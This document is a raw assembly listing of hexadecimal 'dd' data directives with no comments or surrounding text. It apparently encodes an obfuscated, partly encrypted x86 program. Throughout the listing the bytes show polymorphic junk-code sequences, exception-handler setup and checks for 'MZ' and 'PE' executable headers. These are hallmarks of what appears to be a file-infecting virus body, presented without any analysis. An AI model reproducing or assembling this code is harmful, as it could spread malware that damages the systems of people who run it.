		dd 8B719B01h, 44895FFEh, 8B660424h, 8D8958FAh, 6480C09h
		dd 0B689858Dh, 6A064Bh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 0FFB7E9C3h, 0EB816671h, 820F4509h
		dd 6, 7A32E381h, 8B50044Dh, 240489F8h, 74195FFh, 0F98A0648h
		dd 61DF8B66h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Ah,	77C35747h, 50452C70h, 85C768FEh, 6482AD9h, 3, 0B689BD83h
		dd 0F00064Bh, 3184h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 313D4855h, 72202418h
		dd 0B589AEB6h, 648158Dh, 1CE9h,	3050F800h, 4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 56006AC0h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0AE8E715h
		dd 6C000000h, 9904D410h, 47B7A1F9h, 0D98B66D6h,	57006A5Bh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0E9AA3454h, 13h, 5817C760h, 5EB96775h, 0F50E2815h, 91666E8Eh
		dd 83DED948h, 482AD9BDh, 850F0306h, 42Fh, 5E9h,	0D227C700h
		dd 0BD8383BEh, 64BB689h, 18840F00h, 6A000004h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 0E0D3C355h, 3B884BFh, 12E966h, 0B3FE0000h, 6EF1214Dh
		dd 0E3902867h, 0C9773B92h, 5E9BD8B4h, 8E9h, 0A279CB00h
		dd 0F55E9923h, 89B5FF5Eh, 6A064BB6h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8BE3C357h
		dd 482A319Dh, 0F595FF06h, 6A064809h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 5DDEC356h
		dd 0CA1999E4h, 1DE2AA83h, 294D9529h, 0DA8A0648h, 0B67DB58Bh
		dd 6A064Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 0E8648FC3h, 11h, 0F7891077h, 6D4C84h, 36599269h
		dd 0E0F31C34h, 59BD0B25h, 5F064831h, 106C7h, 6A0001h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 8CBA6AC3h, 80F80A72h, 0BD8B10EBh, 6483301h, 0BE996h
		dd 2CC60000h, 325CBDC3h, 0DD0B1593h, 0BF6650C0h, 6696203Eh
		dd 80C381BBh, 0B5FF98C3h, 64BB689h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 18h, 0D4C35040h,	782CD5C8h, 6195FFh
		dd 0BD8B0648h, 64805A9h, 0B67DB58Bh, 8B60064Bh,	4805E195h
		dd 8D896106h, 64811BDh,	0F25858Bh, 6A0648h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 733075C3h
		dd 0FCA532E6h, 0C4868918h, 6A000000h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 60CCC350h
		dd 958BD8B5h, 6481405h,	2865BD01h, 0C2830648h, 71CB8104h
		dd 897E5C71h, 6A2050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 12A11AC3h, 0DBF36512h, 0D4858DB3h
		dd 8B064BCAh, 0B88689F9h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0BDF9C355h
		dd 6A314Ah, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 19h,	0AFC35242h, 8356FA2Ch, 100EBFD6h, 0B5FF7B8Eh, 64BB689h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 73C35545h, 0D4CFF2D2h, 4D5BD89h, 0F88B0648h
		dd 5195FFh, 95090648h, 6480BFDh, 8B666050h, 615A53FBh
		dd 6A243489h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0F96EC351h, 0EBBC7758h, 9D89F56Dh
		dd 6480459h, 0B689B5FFh, 6A064Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 8544C7C3h, 0F8F76E41h
		dd 95FFA4B7h, 6481429h,	0BE8h, 0A1895200h, 58AD2567h, 0AEE30CCBh
		dd 2860Fh, 0FE8A0000h, 0A9BD835Fh, 64831h, 32840Fh, 8D890000h
		dd 6482B35h, 502BB796h,	2830Fh,	0FC8A0000h, 198A0F96h
		dd 0E8000000h, 10h, 67BFA507h, 0D912563h, 200000Eh, 0F4C5F662h
		dd 5BDEBF0Fh, 0B689B5FFh, 6A064Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 0FF0E6C3h, 95FFF9B7h
		dd 64813FDh, 6460BB66h,	0B689B5FFh, 0CB81064Bh,	3A54E009h
		dd 177D95FFh, 95890648h, 6481B51h, 2F1DBD83h, 0F020648h
		dd 4F84h, 2DBD0300h, 0F064832h,	480h, 7BF6600h,	51858B5Fh
		dd 0F064815h, 687h, 599D8B00h, 0C6064823h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0FC40E2C3h, 0AA81EEE5h, 0FC0F468h, 0FB8BFFBFh, 16E185C7h
		dd 648h, 8B0F0000h, 2, 14E9F88Bh, 0CE000000h, 0A9FF9FC8h
		dd 3A265E98h, 17B47E62h, 0C8CC9F5Fh, 0E9F4BE5Dh, 0FFFFF2D4h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 9C35040h
		dd 0BF0F0413h, 65BD8BF8h, 8B06481Ch, 57006AC1h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 1EFCC3DDh
		dd 0E94DD54Bh, 8, 0F502054Eh, 89777BEAh, 8AE2EB81h, 858D155Fh
		dd 6481255h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	3C35646h, 1F9A08DDh, 0F68A2B00h, 17F58D89h, 50500648h
		dd 800F52h, 0F000000h, 89585A31h, 8D0F2404h, 0
		dd 0BD01006Ah, 648123Dh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0FB676C3h, 687h, 89BD0900h
		dd 8D064818h, 4D286F85h, 11E906h, 0AB890000h, 0B1A24753h
		dd 1D20F540h, 0AC89A76Dh, 83B1621Fh, 6A05C0h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 848D94C3h
		dd 138EC0A2h, 5E9h, 4E51AF00h, 0B70FEB7Bh, 0CE950D8h, 97000000h
		dd 68D494C9h, 0F2516B8Eh, 89E5CDCCh, 8DBF2404h,	6A4E8B2Dh
		dd 0BDBD8900h, 6A06481Bh, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 9C424536h
		dd 28F70DF0h, 0AE781C0h, 316EC8F3h, 480AB98Dh, 2D95FF06h
		dd 5606482Bh, 0DE8h, 657C8100h,	0A8689EBDh, 0F7BB63BDh
		dd 840FAD96h, 0
		dd 0B70F5F5Fh, 388D8DDAh, 0F064B99h, 0C83h, 6820F00h, 33000000h
		dd 4822B59Dh, 31952906h, 0FF064812h, 57006AD1h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0E5BD8395h
		dd 1064830h, 9E850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 8485D9C3h, 0BF4AEADAh
		dd 636D70B8h, 6A026Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 2F4154C3h, 481A606Bh, 0FCDD8518h
		dd 89DE8B50h, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 31BE10C3h, 9445785Bh, 5195FFh, 6A0648h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 6094E5C3h, 0FA8BBDEDh, 0DA9E9h, 0E800h, 815D0000h, 4D2879EDh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 0AA3B0711h, 0A00CBAEAh, 13E9h, 0BA69B800h
		dd 0C0335989h, 6049BA29h, 27BAA708h, 0D87DD66Fh, 32299589h
		dd 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0AAA83FC3h, 0A81148D9h, 858DC27Ch, 64B93DAh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0EFC35040h
		dd 90069E33h, 8B525060h, 0E9310FFEh, 11h, 6E620A9Ch, 0A310B152h
		dd 0E6733075h, 18FCA532h, 66585A09h, 5061F38Bh,	0DB39BF66h
		dd 55006A90h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0F9BCAD81h, 0BD0B6050h, 64810C5h, 0FF645B61h
		dd 35h,	56006A00h, 3E8h, 0C35E2000h, 2474895Eh,	24448104h
		dd 1704h, 0C3564600h, 0D5379631h, 2371BD2Bh, 89640648h
		dd 25h,	0D185FF00h, 6A06481Ah, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 0BF17C353h,	6870FF9h
		dd 8B000000h, 4829FDBDh, 6AFF6A06h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 8609C355h
		dd 27B98589h, 0B5FF0648h, 648184Dh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 0C5C35545h,	9D8BA080h, 64813E5h
		dd 10D995FFh, 16E90648h, 0F000001h, 38Dh, 0D8BF0F00h, 5E900B0h
		dd 56000000h, 0A7C6B309h, 0BD8970E6h, 6482759h,	0BD8B71E4h
		dd 648057Dh, 830F613Ch,	0E9h, 158D8960h, 8B064800h, 0B60F61CEh
		dd 68A0FC8h, 89000000h,	48284DBDh, 6BA06h, 0C5BF0000h
		dd 8B741E07h, 4E8C1C1h,	80E2F766h, 0C82BB4E3h, 0EE9h, 0B8C97300h
		dd 7E50C58Ah, 0E6B8359Ah, 8BF120F9h, 0DBD381D1h, 0E90B5360h
		dd 99h,	6840Fh,	85890000h, 6481885h, 554C858Bh,	0C0834947h
		dd 0C08307h, 66FEBF0Fh,	3B2CC8BFh, 11830FD0h, 81000000h
		dd 0BBFF38CBh, 67E97Fh,	0BD8B0000h, 6481319h, 0FFFF8D8Bh
		dd 10E9FFFFh, 8E000000h, 25C7CE24h, 6EA3F34Dh, 79184C21h
		dd 83006521h, 840F01E1h, 3Dh, 0BB66D381h, 0A583178Fh, 0FFFFFFFFh
		dd 0CE8FEh, 796D0000h, 6C5D56ECh, 26EB7F28h, 3BB7F3EDh
		dd 4C95895Bh, 0E9494755h, 0Ch, 1A0DE5B5h, 32FB29B3h, 0D29D2C68h
		dd 0E9h, 0A6B58D00h, 6A064CA1h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 0E4C3C352h,	4292A877h
		dd 0AB99501h, 6A0648h, 11F1B589h, 95FF0648h, 648092Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0D9C35343h
		dd 73D9589h, 840F0648h,	4, 8896BF66h, 1058B9h, 6830F00h
		dd 8B000000h, 4805A1BDh, 0FCE18306h, 2C199D03h,	6AFC0648h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0A83AC351h, 0E1A9265Fh, 0B8B8F568h, 0
		dd 1715BD8Bh, 0D22B0648h, 2391B531h, 33AD0648h,	3E8D1C2h
		dd 4E983D0h, 6AF475h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 6A54C3h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 6F06D1C3h, 0F960567Fh
		dd 61D2B70Fh, 880D5Bh, 6A0000h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 5BD272C3h, 5C56AD43h
		dd 1405958Bh, 0BF660648h, 8D8BE292h, 6483025h, 0C58AF560h
		dd 0C28B5061h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 158188Bh
		dd 481A6D8Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 9E9D3h, 0B840000h, 0EE8780C2h, 6614A9D3h
		dd 6ED2F781h, 12FDBD83h, 0F000648h, 6084h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
		dd 160DA97Ah, 361E4195h, 0B853h, 7ABF0000h, 8D4D1F02h
		dd 484E808Dh, 41BD8B06h, 0FF064816h, 53006AE1h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0CCFBAFFh
		dd 1DF14EA7h, 0D9BD83B4h, 6482Ah, 452840Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 836ADDC3h, 482AD9BDh, 840F0106h, 443h, 0B1CC5CBFh, 0D9BD8376h
		dd 306482Ah, 3FB860Fh, 860F0000h, 6, 0AD19D8Bh,	6A600648h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 661CC353h, 9D8BD98Ch, 6482BF5h, 32499D8Bh
		dd 0E1800648h, 55006A04h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 20CB4C3Ah, 0DA32CD13h
		dd 6AE78148h, 0A3EB375h, 0F1840FC9h, 6A000000h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 936DC353h, 28C9033Eh, 0DF80A732h, 59858B95h,	81064811h
		dd 4C0C64EFh, 19853339h, 0BB064812h, 6167958Dh,	52506050h
		dd 0AE9h, 71C47900h, 42C22D49h,	0F16AD03h, 8E0F31h, 5A000000h
		dd 0D38B5258h, 4896159h, 31006A24h, 481F098Dh, 4E806h
		dd 3FF0000h, 0B4B3001Fh, 45B26050h, 8B61C88Ah, 60042444h
		dd 0D484BB66h, 0E8008B61h, 0Dh,	0A6DDA9AAh, 798D73EDh
		dd 699FE2CCh, 44895F47h, 60530424h, 0F5D60B8h, 840F0Fh
		dd 61000000h, 8B66585Fh, 4195FFFBh, 0F9064807h,	0B6898589h
		dd 9D8B064Bh, 648145Dh,	232E9h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 11E924Ch, 9589BA28h
		dd 648020Dh, 0B681858Bh, 12E9064Bh, 53000000h, 37C85631h
		dd 0A8165647h, 0ECFFBCCBh, 0EE777A9Ch, 1800C7C3h, 0F000000h
		dd 8Eh,	85B58B00h, 6A064BB6h, 3E85500h,	20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 64B4C355h, 850F2FA4h
		dd 0Eh,	9E9h, 0D484500h, 0BD775FBFh, 858B90E8h,	6481A85h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 6AC35242h
		dd 2F68ABF0h, 89A40F88h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 0E98BFEC5h, 0Ah, 9D700EBDh
		dd 0B426100Eh, 0BD3120DFh, 6480789h, 1159858Bh,	0DE80648h
		dd 2A000000h, 0B4FD50DAh, 8739316Ch, 0A9290181h, 11E9h
		dd 6130F300h, 68366567h, 0D6DD99F0h, 183391D3h,	895BE686h
		dd 6A0446h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 0B183E7C3h, 90FEC8D7h, 170DB589h,	8B960648h
		dd 0BF6650F9h, 6A968167h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 11A6C351h, 0B681B5FFh
		dd 6A064Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 3B38F2C3h, 0EC209E85h, 667D2ECFh,	0E8C51DBBh
		dd 10h,	0B68F13BAh, 46AA7FE1h, 2F36C259h, 8FBF3DD6h, 1A219D31h
		dd 685B0648h, 9AFF110Ah, 0B220BF66h, 0F5240481h, 81651FF2h
		dd 0E93C36DBh, 89858D25h, 6A064BB6h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0FC25C356h
		dd 6BA53B98h, 901053A6h, 4890Fh, 0BF660000h, 0BF504024h
		dd 3220BA8Ah, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 0D0410F4Bh, 0FF48B7ADh, 48074195h
		dd 96CF8106h, 61125C9Eh, 6E8h, 7D02BD00h, 0FD5602Ch, 38Fh
		dd 0E9F78000h, 0D985C75Bh, 306482Ah, 6A000000h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 0FF89C351h, 1F85A213h, 0FF92145h, 589h, 4660BF00h, 0FA8B6C90h
		dd 0B689BD83h, 0F00064Bh, 3484h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0EF489720h
		dd 0D055C73Eh, 2AD19D03h, 21E90648h, 81000000h,	2B4A2AEBh
		dd 0C305000h, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 5358589h, 6A0648h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 2651B7C3h, 0E98D437Bh
		dd 6, 9D519C99h, 0BD836B25h, 6482AD9h, 0D7850F03h, 89000003h
		dd 48288D95h, 89BD8306h, 64BB6h, 3C4840Fh, 0B560000h, 4814E9BDh
		dd 0B5FF5F06h, 64BB689h, 68C0Fh, 0B5290000h, 648121Dh
		dd 9F595FFh, 6A0648h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 68E5CEC3h, 0B67DB58Bh, 6A064Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 8BFBD0C3h, 0B70F6098h, 12E9CAh, 33060000h, 0B11FD07h
		dd 9F0A93F9h, 971191C1h, 0DB03B003h, 106C761h, 6A000100h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 0AEDDC351h, 7599D892h, 0FCF81FCh,	0F4B4CD2h
		dd 0F96DABFh, 483h, 0CBBB6600h,	12E95057h, 93000000h, 1E60CF5Eh
		dd 0CEFEBE07h, 0DECD67B9h, 362EE697h, 6A9623h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 3101B9C3h, 1EF13134h, 22D59D8Bh, 0B5FF0648h,	64BB689h
		dd 0C205F781h, 95FF786Bh, 6480061h, 0B67DB58Bh,	6A064Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 7CD86C3h, 0D8D8967h,	8B064827h, 480F2585h, 65952906h
		dd 8906480Ah, 0C486h, 59D0300h,	8B064823h, 48140595h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0FABB6600h, 4C283D0h, 68C0Fh, 0BD030000h, 64829CDh
		dd 1205089h, 48288D85h,	0D4858D06h, 6A064BCAh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 0C4B0C352h, 892B1DBEh, 4818299Dh, 0B8868906h, 6A000000h
		dd 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 7BD4C353h
		dd 3A2B10C9h, 0B0835835h, 1825BD8Bh, 6A0648h, 2A319589h
		dd 0FFF90648h, 4BB689B5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 2C4153ADh
		dd 0FCF7AC4h, 287h, 0BB90B700h,	63507997h, 5195FFh, 6A0648h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 7EBC3CC3h, 0E95F566Eh, 12h, 0A80CA298h, 6C50C3D1h, 2E09BB0Dh
		dd 575F5FD7h, 880F7EC8h, 6, 23019D23h, 0F960648h, 0C82h
		dd 68F0F00h, 50000000h,	5A310F52h, 0FA8B5058h, 0D1816096h
		dd 5293B05Ah, 0D7D88166h, 0B5FF61E7h, 64BB689h,	9F9BD33h
		dd 95FF0648h, 6481429h,	0E150EF81h, 0BD834F6Bh,	64831A9h
		dd 2F840F00h, 66000000h, 501BA9BBh, 3800Fh, 8B660000h
		dd 243489DFh, 12E8h, 68D90A00h,	401DA51Dh, 6F0DF8A1h, 68ADB7Ch
		dd 8BD02092h, 481F0DBDh, 0B5FF5F06h, 64BB689h, 0DE8h, 0FF42A600h
		dd 0B64D66D2h, 7EDC37D7h, 0BB66218Eh, 0FF5B8C96h, 4813FD95h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 0AC3406D4h, 0B160B98h, 0B5FFF5E4h, 64BB689h
		dd 0D919D8Bh, 95FF0648h, 648177Dh, 0E4B3D88Ah, 2F1DBD83h
		dd 0F020648h, 4184h, 6840F00h, 8B000000h, 48203D9Dh, 51858B06h
		dd 6A064815h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 79C355h, 0A8993585h, 0BE6036BBh
		dd 0C67Dh, 18719589h, 85C70648h, 64816E1h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0D9C35040h
		dd 53AAF781h, 0E6E96421h, 0E8FFFFF3h, 0Bh, 2E844966h, 0D4059A4h
		dd 81607AC7h, 0C262EFC3h, 0C18B5F0Ch, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 6C35646h, 1CB0162Eh, 1D7D8DAFh
		dd 28718531h, 0BA0648h,	81F00DE0h, 0EAh, 14C283F0h, 2F6D9589h
		dd 0EA830648h, 0C3858D14h, 50064D36h, 35FF64h, 64000000h
		dd 2589h, 0E80000h, 58000000h, 25C22Bh,	66FFFFF0h, 5A4D3881h
		dd 12850Fh, 0B70F0000h,	0D0033C50h, 45503A81h, 840F0000h
		dd 0Ah,	10002Dh, 0FFD9E900h, 0C88BFFFFh, 13458589h, 40030648h
		dd 50B70F3Ch, 61958906h, 8B06481Ch, 95895050h, 6480DADh
		dd 0F805h, 0C508B00h, 9589D103h, 64819D9h, 89085003h, 48282595h
		dd 58F6406h, 0
		dd 0E904C483h, 13h, 244C8B51h, 0B0A98110h, 0
		dd 59000010h, 83C3C033h, 48202DBDh, 840F0006h, 24h, 0FF985C6h
		dd 68470648h, 0D49AA7D2h, 29A9B5FFh, 858D0648h,	64B7F60h
		dd 6AD0FFh, 8589D0FFh, 64811ADh, 0DE8D38Bh, 1000000h, 1D511CF2h
		dd 3F636154h, 92CC8907h, 5EC1C680h, 0C681DD8Ah,	594Ah
		dd 5AA5B453h, 409856BFh, 0CDC78169h, 6096BF7Dh,	8B61F38Bh
		dd 0FFC1810Eh, 5150A1E1h, 815816B0h, 0B04791E9h, 0DE90Bh
		dd 0BACF0000h, 21162BFh, 9646F189h, 818995AEh, 200B47F1h
		dd 6E966h, 74E80000h, 0BF443131h, 28C0F51h, 8A000000h
		dd 81068FC2h, 0FBDF39F2h, 92EE814Fh, 0B63B1B2Ah, 8EC6812Dh
		dd 663B1B2Ah, 0EF81C28Bh, 1, 0F850Fh, 8B600000h, 2AE961CEh
		dd 0E3000000h, 0AFD8A8DDh, 7E952A9h, 85000000h,	0D89F0BDFh
		dd 0E95A371Ch, 0FFFFFF7Bh, 0B2BC50F3h, 65AD161h, 0CFA161E2h
		dd 99F81D8Dh, 578D8D55h, 6A064D38h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0D876C357h
		dd 2C0D9D8Bh, 42B40648h, 14058D89h, 85C70648h, 6483025h
		dd 6628h, 0F9858B51h, 5B064829h, 2AD985C7h, 648h, 95310000h
		dd 648293Dh, 6880Fh, 0B5890000h, 6481F0Dh, 2FB5B5FFh, 0DA810648h
		dd 2EF6D233h, 0E7195FFh, 860F0648h, 3, 31D7BF0Fh, 48002DB5h
		dd 0FF006A06h, 48092D95h, 0EBC08B06h, 90D5D40Dh, 2493CB6h
		dd 535C6C91h, 8D8D12E6h, 64D3941h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 14C35545h, 0D799CAEFh, 8D29D660h
		dd 6480E21h, 6820Fh, 85890000h,	648161Dh, 14058D89h, 0C4BB0648h
		dd 0C7627374h, 48302585h, 59D006h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0E9F7DC7Eh
		dd 0Fh,	32B33517h, 0F4E938B0h, 933B7E53h, 8BB7524Ch, 481B219Dh
		dd 0D985C706h, 6482Ah, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0F8F0C351h
		dd 42447E72h, 71BBD4E5h, 0FF67899Dh, 481B71B5h,	81858B06h
		dd 0FF064816h, 480E7195h, 899D8B06h, 6A064811h,	2D95FF00h
		dd 8B064809h, 0C078EBC0h, 0F6125D94h, 0D54C4C35h, 53B9D2D8h
		dd 5304E6ADh, 0D00F74CEh, 8E4D4E0Bh, 0E68112B6h, 0D6D2CF60h
		dd 2A5360BAh, 0D78C9503h, 9E6EF63Dh, 8F3C3CDBh,	905C7BD9h
		dd 8065A1D7h, 0A6308200h, 0E0224D9Ah, 0B2E6F37Ah, 16280DD3h
		dd 0BB38723Ah, 8E909DCAh, 583DBA3h, 0C2BE0325h,	0BC1D975h
		dd 0F8B500C9h, 0ADA26B41h, 3ECE3D1Fh, 3101B990h, 1EF13134h
		dd 0C4E928A6h, 8D097DE1h, 4D3AB48Dh, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 41D7B057h
		dd 0A324E948h, 14E9h, 0F0020E00h, 70E52673h, 64E622Ah
		dd 79C0E39Eh, 0D2B27F39h, 0E881669Bh, 8D89522Ah, 6481405h
		dd 301DBD23h, 85C70648h, 6483025h, 7494h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 15h, 36C35646h, 0C1B70F06h
		dd 2AD985C7h, 648h, 6A0000h, 3E853h, 5B200000h,	5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 1B7E33C3h, 0C9453786h
		dd 0FFF38A8Ah, 48184DB5h, 0FF77B306h, 480E7195h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 60BDBF3Bh, 0A995297Ch, 0E9064806h, 0Ah, 23E42FF4h, 0B957863Bh
		dd 6A5F6Eh, 92D95FFh, 0C08B0648h, 0B9900EEBh, 31343101h
		dd 28A61EF1h, 7DE1C4E9h, 6433D78Eh, 3433BE9Fh, 0F76B9DBBh
		dd 10773485h, 10773CEAh, 3433AB73h, 0F763FDBBh,	0BF3F61B0h
		dd 6433D72Eh, 3433BE9Fh, 0F76B9DBBh, 10773485h,	10773CEAh
		dd 3433AB73h, 0F763FDBBh, 0B71CF97Ch, 7C212453h, 3D46BD71h
		dd 39060038h, 4033BB95h, 0BF60EDF7h, 303005B7h,	0B1BABDBBh
		dd 327B9464h, 90572063h, 0E7CCBB3Dh, 89B0E5E0h,	327BB0E8h
		dd 6424C9EEh, 30300524h, 0B1BABDBBh, 327B9464h,	95602063h
		dd 0E7CCBB3Dh, 0A9B8E5E0h, 327B9228h, 0BFE102E1h, 0CDBE8EB7h
		dd 5235F599h, 34596551h, 343055BEh, 6C13BD77h, 70BAE578h
		dd 70B2B9F9h, 3425B9CAh, 6473BD77h, 25D8CD78h, 3433B835h
		dd 95B0EAEEh, 31DBBF6Eh, 0DF33BDBBh, 4931005Ch,	1B9A30C7h
		dd 6B69BB3Fh, 343535B4h, 0A902BDDDh, 327B93B7h,	0B03CB9DFh
		dd 3433B9FDh, 0DC65BDB7h, 3433BDEDh, 6AF0E357h,	3017C932h
		dd 3017F95Ch, 3433BDF7h, 3CF0EB31h, 189F099h, 8B3CEA05h
		dd 3CDBE211h, 8033BD77h, 9D48C9A1h, 0BF658271h,	7C30787Bh
		dd 0B555E271h, 0B7C96250h, 7C034C60h, 0B03CBDE8h, 3433BD26h
		dd 0DC63BDD1h, 3433BDDEh, 6CF0E5CEh, 3017F9FEh,	3017F93Ah
		dd 3433BDC7h, 8FF0EDAEh, 0EF5E7419h, 0A1BA9FDEh, 327B9200h
